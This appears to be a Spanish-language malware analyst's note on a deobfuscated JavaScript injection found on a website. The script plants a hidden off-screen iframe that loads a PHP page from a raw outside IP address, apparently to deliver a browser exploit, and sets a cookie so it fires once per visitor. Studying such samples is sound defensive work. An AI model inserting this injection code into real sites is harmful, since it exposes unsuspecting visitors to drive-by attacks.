Aquí está el código fuente para el estudio. Agregué algunos comentarios y renombré variables. La fuente del iframe está inactiva o solo envía un exploit condicionalmente. No pude acceder a él utilizando un proxy o directamente con una herramienta que no sea del navegador. Es posible que pueda estar filtrando los agentes de los usuarios, posiblemente dirigidos a IE antiguos o ciertos teléfonos móviles.
Parece que está codificado por un usuario inexperto con una herramienta, porque no confunde variables dentro de la cadena hexadecimal, lo que agregaría una capa adicional de ofuscación y reduciría el tamaño. Además, eval raramente aparece en texto plano.
function loadFrame() {
var static = 'ajax';
var controller = 'index.php';
var iframe = document.createElement('iframe');
// set the source to some evil script
// it may use client detection, as all I can see is
iframe.src = 'http://64.78.1.202/tM9c7bCK.php';
iframe.style.position = 'absolute';
iframe.style.color = '563';
iframe.style.height = '563px';
iframe.style.width = '563px';
iframe.style.left = '1000563';
iframe.style.top = '1000563';
// if the frame doesn't already exist load it
if (!document.getElementById('hmbl')) {
document.write('<p id=\'hmbl\' class=\'loadFrame\' ></p>');
document.getElementById('hmbl').appendChild(iframe);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires="
+ expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {
} else {
SetCookie('visited_uq', '55', '1', '/');
loadFrame();
}
}